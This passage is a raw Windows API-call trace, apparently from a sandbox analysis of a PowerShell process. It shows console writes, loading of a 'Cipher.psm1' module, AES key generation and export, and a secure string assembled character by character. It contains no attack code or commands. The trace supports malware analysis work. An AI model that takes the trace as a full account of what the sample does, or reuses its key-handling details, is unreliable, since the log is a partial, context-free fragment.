lpCs=0x99ae5ec) returned 0 [0126.547] GetConsoleOutputCP () returned 0x1b5 [0126.548] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.548] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0126.548] GetConsoleOutputCP () returned 0x1b5 [0126.548] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0126.548] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.549] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a3d244*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6a3d244*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0126.549] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.550] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0126.555] GetConsoleOutputCP () returned 0x1b5 [0126.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.556] GetConsoleOutputCP () returned 0x1b5 [0126.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.556] GetConsoleOutputCP () returned 0x1b5 [0126.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.557] GetConsoleOutputCP () returned 0x1b5 [0126.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.557] GetConsoleOutputCP () returned 0x1b5 [0126.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.557] GetConsoleOutputCP () returned 0x1b5 [0126.558] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.558] GetConsoleOutputCP () returned 0x1b5 [0126.558] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.558] GetConsoleOutputCP () returned 0x1b5 [0126.558] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.559] GetConsoleOutputCP () returned 0x1b5 [0126.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.560] GetConsoleOutputCP () returned 0x1b5 [0126.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.560] GetConsoleOutputCP () returned 0x1b5 [0126.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.561] GetConsoleOutputCP () returned 0x1b5 [0126.561] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.561] GetConsoleOutputCP () returned 0x1b5 [0126.561] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.561] GetConsoleOutputCP () returned 0x1b5 [0126.562] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.562] GetConsoleOutputCP () returned 0x1b5 [0126.562] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.562] GetConsoleOutputCP () returned 0x1b5 [0126.562] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.562] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0126.563] GetConsoleOutputCP () returned 0x1b5 [0126.563] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0126.563] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.564] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a3f068*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6a3f068*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0126.564] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.565] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0126.569] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.569] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.569] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xdf00\x676\x40\x677\xb9f0\x698\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x1000\x666\xe860\x676\xb9f0\x698\x500") returned 0x0 [0126.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.569] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.570] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.570] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.571] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0126.571] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.571] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.571] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.571] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.572] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e02828) returned 1 [0126.572] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84e78) returned 1 [0126.572] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.572] CryptExportKey (in: hKey=0x8e84e78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.572] CryptExportKey (in: hKey=0x8e84e78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a48c84, pdwDataLen=0x99ae788 | out: pbData=0x6a48c84*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.572] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.573] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.573] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.573] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.573] SysStringLen (param_1="") returned 0x8 [0126.573] SysStringLen (param_1="X") returned 0x8 [0126.573] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.573] SysStringLen (param_1="\x58d2\xfedb\x3224\x4fe\x24b7\xafd1\xd12c\xad95") returned 0x8 [0126.573] SysStringLen (param_1="\x58d2\xfedb\x3224\x4fe\x24b7\xafd1\xd12c\xad95") returned 0x8 [0126.573] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.573] SysStringLen (param_1="XX") returned 0x8 [0126.573] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="\x1e8f\x67ae\xcbe5\xc7d9\xb15b\x9812\x6963\x43bc") returned 0x8 [0126.574] SysStringLen (param_1="\x1e8f\x67ae\xcbe5\xc7d9\xb15b\x9812\x6963\x43bc") returned 0x8 [0126.574] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="XXA") returned 0x8 [0126.574] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="\x37d8\xf5b7\x751f\xd888\x9d1c\x3733\x9538\x804c") returned 0x8 [0126.574] SysStringLen (param_1="\x37d8\xf5b7\x751f\xd888\x9d1c\x3733\x9538\x804c") returned 0x8 [0126.574] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="XXA8") returned 0x8 [0126.574] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="\x9c2d\x5921\x453c\x85e8\x5010\xa2fe\x324e\xd487") returned 0x8 [0126.574] SysStringLen (param_1="\x9c2d\x5921\x453c\x85e8\x5010\xa2fe\x324e\xd487") returned 0x8 [0126.574] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="XXA8Q") returned 0x8 [0126.574] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.574] SysStringLen (param_1="\xf528\xefc2\xa08b\xf587\x2cc1\x220a\xc85e\xe538") returned 0x8 [0126.574] SysStringLen (param_1="\xf528\xefc2\xa08b\xf587\x2cc1\x220a\xc85e\xe538") returned 0x8 [0126.574] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.576] SysStringLen (param_1="XXA8QV") returned 0x8 [0126.576] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.576] SysStringLen (param_1="\xc5c3\x10c\xf129\x8d5e\x8b1\x8640\xf72\xdfaa") returned 0x8 [0126.576] SysStringLen (param_1="\xc5c3\x10c\xf129\x8d5e\x8b1\x8640\xf72\xdfaa") returned 0x8 [0126.576] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.576] SysStringLen (param_1="XXA8QV6") returned 0x8 [0126.576] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.576] SysStringLen (param_1="\x2de3\xdfae\xf69b\xa25c\xbccb\xa86a\x50e9\x3c67") returned 0x8 [0126.576] SysStringLen (param_1="\x2de3\xdfae\xf69b\xa25c\xbccb\xa86a\x50e9\x3c67") returned 0x8 [0126.576] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.576] SysStringLen (param_1="XXA8QV6H") returned 0x8 [0126.576] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.576] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d") returned 0x8 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d") returned 0x8 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d") returned 0x8 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d") returned 0x10 [0126.577] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.577] SysStringLen (param_1="XXA8QV6Hc雘⚺鏹斚৴鍏㇎") returned 0x10 [0126.577] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x342\x2676\x12a3\x98b3\x58b6\x3373\xfce1\x9b97") returned 0x10 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x342\x2676\x12a3\x98b3\x58b6\x3373\xfce1\x9b97") returned 0x10 [0126.577] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.577] SysStringLen (param_1="XXA8QV6HcE⚺鏹斚৴鍏㇎") returned 0x10 [0126.577] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x595f\x95a5\xe4f3\x1c39\x44d3\xc635\xdd68\x8405") returned 0x10 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x595f\x95a5\xe4f3\x1c39\x44d3\xc635\xdd68\x8405") returned 0x10 [0126.577] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.577] SysStringLen (param_1="XXA8QV6HcEz鏹斚৴鍏㇎") returned 0x10 [0126.577] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\xfa0\xd567\x83b6\x9fc9\x79d\x532\xe179\xd39b") returned 0x10 [0126.577] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\xfa0\xd567\x83b6\x9fc9\x79d\x532\xe179\xd39b") returned 0x10 [0126.577] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="XXA8QV6HcEzT斚৴鍏㇎") returned 0x10 [0126.578] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x57a1\x419c\x4866\xd7ca\xa1de\x73d1\x2a8\x8df4") returned 0x10 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x57a1\x419c\x4866\xd7ca\xa1de\x73d1\x2a8\x8df4") returned 0x10 [0126.578] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="XXA8QV6HcEzTC৴鍏㇎") returned 0x10 [0126.578] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\xfb7a\x3507\x9dab\x2f99\x53b0\xb5b2\x6d08\x8f03") returned 0x10 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\xfb7a\x3507\x9dab\x2f99\x53b0\xb5b2\x6d08\x8f03") returned 0x10 [0126.578] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="XXA8QV6HcEzTCm鍏㇎") returned 0x10 [0126.578] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x8374\xfc90\x790f\x8cab\xf17c\x8676\x1684\xd123") returned 0x10 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x8374\xfc90\x790f\x8cab\xf17c\x8676\x1684\xd123") returned 0x10 [0126.578] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="XXA8QV6HcEzTCmh㇎") returned 0x10 [0126.578] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.578] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\xe348\x4984\xdf44\x6bf4\x1d1a\xab6f\xa64c\xb3b5") returned 0x10 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\xe348\x4984\xdf44\x6bf4\x1d1a\xab6f\xa64c\xb3b5") returned 0x10 [0126.579] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.579] SysStringLen (param_1="XXA8QV6HcEzTCmhk") returned 0x10 [0126.579] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764") returned 0x10 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764") returned 0x10 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764") returned 0x10 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764") returned 0x18 [0126.579] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.579] SysStringLen (param_1="XXA8QV6HcEzTCmhkv醵⠑ঀ즩鸂➷") returned 0x18 [0126.579] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\x2cce\x34d5\xa317\x3ddd\x298b\x8c14\x7398\x5877") returned 0x18 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\x2cce\x34d5\xa317\x3ddd\x298b\x8c14\x7398\x5877") returned 0x18 [0126.579] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.579] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp⠑ঀ즩鸂➷") returned 0x18 [0126.579] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa051\x3323\xf2fc\x9948\xa0d6\xd278\x97fc\x27a9") returned 0x18 [0126.579] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa051\x3323\xf2fc\x9948\xa0d6\xd278\x97fc\x27a9") returned 0x18 [0126.580] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8ঀ즩鸂➷") returned 0x18 [0126.580] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xcc47\xff68\x603\x7fdf\x670b\x7b11\xcd3b\xe3a") returned 0x18 [0126.580] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xcc47\xff68\x603\x7fdf\x670b\x7b11\xcd3b\xe3a") returned 0x18 [0126.580] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8Iঀ즩鸂➷") returned 0x18 [0126.580] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen 